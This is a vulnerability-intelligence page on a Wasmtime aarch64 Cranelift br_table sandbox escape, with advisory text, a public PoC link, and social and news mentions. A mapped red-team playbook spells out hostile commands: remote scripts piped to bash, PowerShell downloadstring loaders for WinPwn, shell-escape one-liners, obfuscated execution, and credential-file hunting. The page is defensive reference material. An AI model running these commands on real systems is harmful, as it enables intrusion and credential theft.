CVE-2026-115893
CRITICAL
POC
Pub 23/10
Upd 23/10
Vulnerability Description
Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend on aarch64 can compile a Wasm br_table instruction with more than approximately 256,000 targets so that it has an incorrect conditional branch target. The branch can then jump to arbitrary other code at a user-controlled offset, allowing a user-controlled Wasm module to escape the sandbox on aarch64 engines using the default Cranelift backend. This issue is fixed in versions 36.0.19, 48.0.7, and 49.0.4.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk.
Learn more
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
shreyas-malhotra/CVE-2026-115893-wasmtime-sandbox-escape
CVE-2026-115893: full Wasmtime aarch64 Cranelift br_table sandbox-escape public exploit, PoV, calibration notes, and ver...
|
shreyas-malhotra | 0 | 0 | 2026-10-27 | View |
Exploited in Wild
NOT DETECTED
Ransomware
NOT ASSOCIATED
Attacker Interest
MEDIUM
Sightings
Some sightings
Threat Feed
4 events
2026-10-27
PoC Published (1 GitHub repositories)
Proof-of-concept code is publicly available for this vulnerability
2026-10-26
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-10-24
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-10-23
Threat Sensor Sighting — Few sightings
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Applicable
Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Kill chain derived from the ML classifier.
Attack Vectors ML
Improper Input Validation
72%
input_validation
Remote Code Execution
44%
rce
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
No techniques for the selected OS
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-29 | Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions |
35%
|
High | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
No tests for the selected OS
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
T1021.004
ESXi - Enable SSH via PowerCLI
Windows
PowerShell
Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004
ESXi - Enable SSH via VIM-CMD
Windows
CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049
System Discovery using SharpView
Windows
PowerShell
Privileged
Get a listing of network connections, domains, domain users, and etc.
sharpview.exe located in the bin folder, an opensource red-team tool.
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049
System Network Connections Discovery
Windows
CMD
Get a listing of network connections.
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049
System Network Connections Discovery FreeBSD, Linux & MacOS
Linux, macOS
Shell
Get a listing of network connections.
Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049
System Network Connections Discovery via PowerShell (Process Mapping)
Windows
PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
T1049
System Network Connections Discovery via sockstat (Linux, FreeBSD)
Linux
Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049
System Network Connections Discovery via ss or lsof (Linux/MacOS)
Linux, macOS
Bash
List active TCP/UDP network connections using ss, with lsof as a fallback
when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049
System Network Connections Discovery with PowerShell
Windows
PowerShell
Get a listing of network connections.
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004
Change login shell
Linux
Bash
Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004
Command line scripts
Linux
Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004
Command-Line Interface
Linux, macOS
Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004
Create and Execute Bash Shell Script
Linux, macOS
Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004
Creating shell using cpan command
Linux, macOS
Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
T1059.004
Current kernel information enumeration
Linux
Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004
Detecting pipe-to-shell
Linux
Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004
Environment variable scripts
Linux
Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004
Harvest SUID executable files
Linux
Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004
LinEnum tool execution
Linux
Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004
New script file in the tmp directory
Linux
Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004
Obfuscated command line scripts
Linux
Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004
Shell Creation using awk command
Linux, macOS
Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004
Shell Creation using busybox command
Linux
Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference -...
Command (Shell)
busybox sh &
T1059.004
What shell is running
Linux
Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004
What shells are available
Linux
Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells
T1059.004
emacs spawning an interactive system shell
Linux, macOS
Shell
Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003
Web Shell Written to Disk
Windows
CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001
Access Drone CI Config File
Linux, macOS
Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Gitlab CI Config File
Linux, macOS
Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Jenkinsfile
Linux, macOS
Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Travis CI Config File
Linux, macOS
Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access unattend.xml
Windows
CMD
Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001
Dump GitHub Actions Runner Environment Variables from procfs
Linux
Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh)
and reads their environment variables from /proc/<pid>/environ, filtering for keys
containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests
credentials and secrets...
Command (Bash)
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001
Extract Browser and System credentials with LaZagne
macOS
Bash
Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001
Extract passwords with grep
Linux, macOS
Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001
Extracting passwords with findstr
Windows
PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001
Find .env Files Containing Application Credentials
Linux, macOS
Shell
Searches common web application and service directories for .env files
(.env, .env.local, .env.production, .env.development, .env.staging) that may
contain credentials such as API keys, database passwords, and service secrets.
Adversaries targeting web servers or...
Command (Shell)
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001
Find AWS credentials
Linux, macOS
Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001
Find Azure credentials
Linux, macOS
Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Docker credentials
Linux, macOS
Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find GCP credentials
Linux, macOS
Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find HashiCorp Vault token files
Linux, macOS
Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Kubernetes cluster configuration files
Linux
Shell
Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Kubernetes user configuration files
Linux, macOS
Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell)
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001
Find OCI credentials
Linux, macOS
Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001
Find Terraform credential files
Linux, macOS
Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell)
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001
Find and Access Github Credentials
Linux, macOS
Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find database credential files
Linux, macOS
Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell)
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001
Find npm registry credential files
Linux, macOS
Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find system database configuration files
Linux
Shell
Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001
List Credential Files via Command Prompt
Windows
CMD
Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001
List Credential Files via PowerShell
Windows
PowerShell
Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001
Search for Git Credential Files
Linux, macOS
Shell
Searches the specified directory for a git credential file, which
may contain plaintext credentials, access tokens, or credential helper
configurations. Example files include .git-credentials and .gitconfig.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Windows
PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001
WinPwn - SessionGopher
Windows
PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001
WinPwn - Snaffler
Windows
PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001
WinPwn - passhunt
Windows
PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001
WinPwn - powershellsensitive
Windows
PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001
WinPwn - sensitivefiles
Windows
PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutputDetection & Response Rules
No detection or response rules found for this CVE.
Mentions (19)
19 mentions from 11 sources in the last 7 days BuzzFactor 70 / 100
-
code github.com ideator-labs 2026-10-27 14:25 UTCideator-labs/wasmtime-sweepOpen source
-
news rescana.com 2026-10-27 11:47 UTCSupermicro BMC/IPMI Firmware Flaws (CVE-2026-18450 Critical): Patch Now for Hosting and Colocation Fleets (October 2026) - RescanaOpen source
-
social infosec.exchange @beyondmachines1 2026-10-27 10:01 UTCWasmtime Patches Critical Sandbox Escape Flaws in Cranelift Compiler Wasmtime fixed two critical vulnerabilities (CVE-2026-115889 and CVE-2026-115893) that allow malicious WebAssembly modules to escape their sandboxes and execute arbitrary…Open source
-
code github.com shreyas-malhotra 2026-10-27 09:14 UTCshreyas-malhotra/CVE-2026-115893-wasmtime-sandbox-escapeOpen source
-
advisory socradar.io 2026-10-27 07:29 UTCWasmtime Sandbox Escape Flaws Patched in Cranelift - SOCRadarOpen source
-
news rescana.com 2026-10-27 07:11 UTCDreamHost Resets Some Email and FTP/SFTP Passwords as a Precaution During Ongoing Incident (October 2026) - RescanaOpen source
-
news rescana.com 2026-10-27 06:59 UTCGenesys Discloses Breach of Internal LMS and CRM Systems; Genesys Cloud and Engage Not Compromised (October 2026) - RescanaOpen source
-
social mastodon.social @hacksgr 2026-10-26 22:17 UTCTwo severe security flaws, each rated 9.9 out of 10, have been discovered in the Wasmtime WebAssembly runtime. Both bugs reside in Cranelift, the default compiler used by Wasmtime. CVE-2026-115889 affects all processor architectures, while…Open source
-
news secnews.gr 2026-10-26 14:20 UTCWasmtime: Critical sandbox escape vulnerabilities - SecNews.grOpen source
-
social bsky.app @newssecia.bsky.social 2026-10-26 14:10 UTC🤖 Wasmtime: two CVSS 9.9 Cranelift flaws let a crafted Wasm module escape the sandbox. CVE-2026-115889 (SSA index bit-packing overflow → miscompilation) and CVE-2026-115893 (aarch64 br_table). Patched in 36.0.19 / 43.0.0. https://github.co…Open source
-
social infosec.exchange @cloud 2026-10-26 14:10 UTC🤖 Wasmtime: two CVSS 9.9 Cranelift bugs let a crafted Wasm module escape the sandbox. CVE-2026-115889 — SSA value index bit-packing silently overflows in release builds, causing miscompilation and type confusion. CVE-2026-115893 — aarch64…Open source
-
social bsky.app @undercodenews.bsky.social 2026-10-26 12:56 UTCTwo Critical Wasmtime Vulnerabilities Rated CVSS 99 Could Allow WebAssembly Sandbox Escapes Across Multiple Architectures + Video Two critical vulnerabilities in Wasmtime, a widely used WebAssembly runtime, could allow malicious WebAssembl…Open source
-
news thehackernews.com 2026-10-26 11:52 UTCTwo Critical Wasmtime Flaws Could Let Malicious WebAssembly Modules Escape Sandboxes - The Hacker NewsOpen source
-
social bsky.app @stackflag.bsky.social 2026-10-24 02:10 UTCCVE-2026-115893 - wasmtime The Wasmtime WebAssembly runtime on aarch64 processors could miscompile a program instruction that has more than about 256,000 jump targets, causing it to jump to an… Too many irrelevant or confusing CVEs? Use st…Open source
-
social bsky.app @stemshop.bsky.social 2026-10-24 02:07 UTC🚨 CVE-2026-115893 — CVSS 9.9 CRITICAL Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend... 🔎 https://stemshop.top/cve/CVE-2026-115893 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @offseq.bsky.social 2026-10-24 01:30 UTCCRITICAL wasmtime vuln (CVE-2026-115893) on aarch64: sandbox escape via br_table flaw enables arbitrary code execution. Upgrade to 36.0.19, 48.0.7, or 49.0.4+ ASAP. https://radar.offseq.com/threat/cve-2026-115893-cwe-691-insufficient-contr…Open source
-
social infosec.exchange @offseq 2026-10-24 01:30 UTCCVE-2026-115893 (CRITICAL, CVSS 9.9) in wasmtime on aarch64 lets user-controlled Wasm modules escape the sandbox via Cranelift's br_table handling. Patch with 36.0.19, 48.0.7, or 49.0.4+. Details: https://radar.offseq.com/threat/cve-2026-1…Open source
-
social bsky.app @thehackerwire.bsky.social 2026-10-23 23:18 UTC🔴 CVE-2026-115893 - Critical (9.9) Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compil... https://www.thehackerwire.com/vulnerability/CVE-2026-115893/ #infosec #cybersecurity #CVE #vulnerabilit…Open source
-
social mastodon.social @115755483699003887 2026-10-23 23:18 UTC🔴 CVE-2026-115893 - Critical (9.9) Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend on aarch64 can compile a Wasm br_table instruction with more than approximately 256,000 targets…Open source